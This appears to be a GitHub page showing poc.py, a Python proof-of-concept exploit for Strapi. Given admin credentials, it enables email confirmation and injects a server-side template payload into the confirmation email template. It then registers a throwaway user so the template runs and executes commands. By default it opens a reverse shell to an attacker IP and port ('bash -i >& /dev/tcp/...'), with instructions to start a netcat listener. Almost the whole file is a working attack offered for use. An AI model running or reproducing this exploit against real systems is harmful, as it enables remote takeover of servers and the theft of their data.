-
Notifications
You must be signed in to change notification settings - Fork 3
/
poc.py
125 lines (115 loc) · 4.35 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python3
import requests
import random, string, argparse
def get_token(username, password) -> str:
r = requests.post(
url + "/admin/login", data={"email": username, "password": password}
)
try:
return r.json()["data"]["token"]
print("[+] Using token: " + token)
except:
print("[!] Error while getting token\nDEBUG: " + r.text)
exit(1)
def enable_confirmation(token, url_redirect):
r = requests.put(
url + "/users-permissions/advanced",
headers={"Authorization": "Bearer " + token},
json={
"unique_email": "true",
"allow_register": "true",
"email_confirmation": "true",
"email_reset_password": "null",
"email_confirmation_redirection": url_redirect,
"default_role": "authenticated",
},
)
if "ok" in r.text:
print("[+] Email confirmation enabled")
else:
print("[-] Error while enabling email confirmation\nDEBUG: " + r.text)
exit(1)
def add_payload(ip, port, payload=None):
if payload is None:
print(
f"[INFO] No custom payload provided, using bash -i >& /dev/tcp/{ip}/{port} 0>&1 open a netcat listener: rlwrap nc -lvnp {port}"
)
input("Done ? (y/n): ")
payload = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
full_payload = (
r'''<%= `${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","'''
+ payload
+ r""""],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"/*<>%=*/}]}).output }` %>"""
)
data = {
"email-templates": {
"email_confirmation": {
"display": "Email.template.email_confirmation",
"icon": "check-square",
"options": {
"from": {
"name": "Administration Panel",
"email": "[email protected]",
},
"response_email": "",
"object": "Account confirmation",
"message": f"<p>Thank you for registering!</p>\n\n{full_payload}",
},
}
}
}
r = requests.put(
url + "/users-permissions/email-templates",
json=data,
headers={"Authorization": "Bearer " + token},
)
if "ok" in r.text:
print("[+] Malicious template added to email confirmation page")
else:
print("[-] Error while adding malicious template\nDEBUG: " + r.text)
exit(1)
def trigger_rce():
json_data = {
"email": "".join(random.choices(string.ascii_lowercase, k=10)) + "@poc.local",
"username": "".join(random.choices(string.ascii_lowercase, k=10)),
"password": "".join(random.choices(string.ascii_lowercase, k=10)) + "?#A",
}
r = requests.post(url + "/api/auth/local/register", json=json_data)
print(
"[+] sendTemplatedEmail() should be triggered, check your listener\nDEBUG: "
+ r.text
)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-url", help="URL of the Strapi instance", required=True)
parser.add_argument("-u", help="Admin username", required=True)
parser.add_argument("-p", help="Admin password", required=True)
parser.add_argument("-ip", help="Attacker IP")
parser.add_argument("-port", help="Attacker port")
parser.add_argument(
"-url_redirect", help="URL to redirect after email confirmation"
)
parser.add_argument("-custom", help="Custom shell command to execute")
args = parser.parse_args()
url = args.url
if url[-1] == "/":
url = url[:-1]
token = get_token(args.u, args.p)
if args.url_redirect:
enable_confirmation(token, args.url_redirect)
else:
print(
"[i] No URL redirect provided, email confirmation will may encounter an error, using http://poc.com"
)
enable_confirmation(token, "http://poc.com")
if args.custom:
add_payload(args.ip, args.port, args.custom)
elif args.ip and args.port:
add_payload(args.ip, args.port)
else:
print(
"[-] No ip and port provided, please provide them with -ip and -port or use -custom to provide a custom payload"
)
exit(1)
print("[+] Waiting for RCE...")
trigger_rce()